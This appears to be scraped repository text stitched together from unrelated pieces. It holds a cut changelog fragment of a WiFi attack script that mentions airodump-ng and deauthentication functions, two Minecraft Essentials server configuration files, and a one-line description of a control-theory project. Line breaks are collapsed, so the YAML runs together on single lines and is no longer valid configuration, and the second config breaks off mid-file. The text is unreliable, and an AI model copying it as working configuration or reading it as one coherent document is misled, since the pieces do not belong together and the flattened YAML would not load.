adapters.# - Updated "killCounterMax" to use "interfacesFound" value for "stopMonitorMode()" function# - Added "checkMultipleAdapters" Function# - Added number of interfaces displayed on stats banner.# - Fixed "Interface Name" on stats banner.# - Updated airodump-ng scripting for several functions.# - Fixed PixieDust toggles. They were reversed, disable turned on and vice/versa.# - Updated airodump-ng windows to only scan for the encryption type that is currently being targeted.# v1.6# - Added a "forceDisconnectWiFi" function to help fix active internet connection issues.# - Changed the handling of "WiFi Force Disconnect". Now, after accepting the agreement, the main menu will only load if the connection status is "0". If the status is "1", meaning the WiFi is connected to an access point, the "forceDisconnectWiFi" and "checkNetworkStatus" functions are called until the connection is released. This allows for better control of correcting errors resulting in having an active network connection.# - Added "ifconfig" and "iwconfig" output to Extras Interface Menu# - Merged "checkForEmptyBSSID", "checkForEmptyESSID", and "checkForEmptyChannel" into "checkForEmptyCredentials" function.# - Removed "arAttackDeAuthOnRetry" function. This was a duplicate and now uses "arAttackDeAuth" function instead.# -
Altiruss / Altiruss############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: 'none' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isnt used, force essentials to add the prefix and suffix from permission plugins to displayname # This setting is ignored if essentialschat.jar is used, and defaults to 'true' # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 5 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command # This will also prevent the player attacking other players teleport-invulnerability: 4 # The delay, in seconds, required between /heal attempts heal-cooldown: 60 # What to prevent from /i /give # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules # Note: The blacklist above will be ignored then. # Permissions: # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution spawnmob-limit: 10 # Shall we notify users when using /lightning warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # Disabled commands will be completely unavailable on the server. # Disabling commands here will have no effect on command conflicts. disabled-commands: # - nick # These commands will be shown to players with socialSpy enabled # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: tools: delay: 10 items: - 272 1 - 273 1 - 274 1 - 275 1 dtools: delay: 600 items: - 278 1 efficiency:1 durability:1 fortune:1 name:&4Gigadrill lore:The_drill_that_&npierces|the_heavens - 277 1 digspeed:3 name:Dwarf lore:Diggy|Diggy|Hole - 298 1 color:255,255,255 name:Top_Hat lore:Good_day,_Good_day - 279:780 1 notch: delay: 6000 items: - 397:3 1 player:Notch color: delay: 6000 items: - 387 1 title:&4Book_&9o_&6Colors author:KHobbits lore:Ingame_color_codes book:Colors firework: delay: 6000 items: - 401 1 name:Angry_Creeper color:red fade:green type:creeper power:1 - 401 1 name:StarryNight color:yellow,orange fade:blue type:star effect:trail,twinkle power:1 - 401 2 name:SolarWind color:yellow,orange fade:red shape:large effect:twinkle color:yellow,orange fade:red shape:ball effect:trail color:red,purple fade:pink shape:star effect:trail power:1 # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: #- color #- balance #- buy #- sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled backup: # Interval in minutes interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups sort-list-by-groups: false # More output to the console debug: false # Set the locale for all messages # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties" # Don't forget to remove the # in front of the line # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here death-messages: true # Add worlds to this list, if you want to automatically disable god mode there no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home, defaults to 'default' below. # Define different amounts of multiple homes for different permissions, e.g. essentials.sethome.multiple.vip # People with essentials.sethome.multiple.unlimited are not limited by these numbers. # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: default: 3 # essentials.sethome.multiple.vip vip: 5 # essentials.sethome.multiple.staff staff: 10 # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 0 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have # The amount is always limited to 10 trillion because of the limitations of a java double max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help non-ess-in-help: true # Hide plugins which do not give a permission # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '&l{DISPLAYNAME} &3➽ &f&l{MESSAGE}' Dziewczyna: '{DISPLAYNAME} &3➽ &5 {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: # Default: '{WORLDNAME} {DISPLAYNAME}&7:&r {MESSAGE}' # Admins: '{WORLDNAME} &c[{GROUP}]&r {DISPLAYNAME}&7:&c {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # Database settings for sign/rail protection # mysql or sqlite # We strongly recommend against using mysql here, unless you have a good reason. # Sqlite seems to be faster in almost all cases, and in some cases mysql can be much slower. datatype: 'sqlite' # If you specified MySQL above, you MUST enter the appropriate details here. # If you specified SQLite above, these will be IGNORED. username: 'root' password: 'root' mysqlDb: 'jdbc:mysql://localhost:3306/minecraft' # General physics/behavior modifications prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players # permission essentials.protect.entitytarget.bypass disables this entitytarget: false # Prevent the spawning of creatures spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: false bat: false witch: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Protect various blocks. protect: # Protect all signs signs: false # Prevent users from destroying rails rails: false # Blocks below rails/signs are also protected if the respective rail/sign is protected. # This makes it more difficult to circumvent protection, and should be enabled. # This only has an effect if "rails" or "signs" is also enabled. block-below: true # Prevent placing blocks above protected rails, this is to stop a potential griefing prevent-block-on-rails: false # Store blocks / signs in memory before writing memstore: false # Disable various default physics and behaviors disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build # Set true to disable building for those people # Setting to false means EssentialsAntiBuild will never prevent you from building build: true # Should people with build: false in permissions be allowed to use items # Set true to disable using for those people # Setting to false means EssentialsAntiBuild will never prevent you from using use: true # Should we tell people they are not allowed to build warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing placement: 10,11,46,327 # Which items should people be prevented from using usage: 327 # Which blocks should people be prevented from breaking break: # Which blocks should not be pushed by pistons piston: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&dWelcome {DISPLAYNAME}&d to the server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: tools # Set this to lowest, if you want Multiverse to handle the respawning # Set this to high, if you want EssentialsSpawn to handle the respawning # Set this to highest, if you want to force EssentialsSpawn to handle the respawning respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
AstroHiro / CvstemCodes for designing ConVex Optimization-based Stochastic steady-state Tracking Error Minimization (CV-STEM) Control
dallyswag / Sqygd############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. 